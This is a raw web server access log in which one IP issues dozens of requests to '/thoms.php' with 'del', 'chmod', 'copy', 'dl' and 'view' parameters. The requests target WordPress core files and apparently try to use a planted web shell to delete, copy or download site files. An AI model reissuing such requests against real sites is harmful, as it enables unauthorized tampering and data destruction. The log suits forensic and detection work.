45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?dl=class-wp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?dl=general-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?del=option.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=option.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /biotaiwan.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?chmod=Text&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=Text&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:59 -0400] "GET /biotaiwan.com.tw/wp-includes/js/ HTTP/1.1" 200 4193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /biotaiwan.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcapabilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcapabilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?dl=class-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?del=feed-rss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?del=script-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-IXR.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-IXR.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcomment-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcomment-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /biotaiwan.com.tw/wp-includes/Text/ HTTP/1.1" 200 869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?dl=compat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdate.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fdate.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?chmod=revision.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwp-diff.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwp-diff.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fl10n HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fplugin.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fplugin.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?chmod=post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftaxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftaxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:01 -0400] "GET /thoms.php?del=load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?del=ms-load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?del=update.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?dl=wp-diff.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?del=css&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=css&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /biotaiwan.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:02 -0400] "GET /thoms.php?dl=comment-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:03 -0400] "GET /thoms.php?chmod=abilities-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
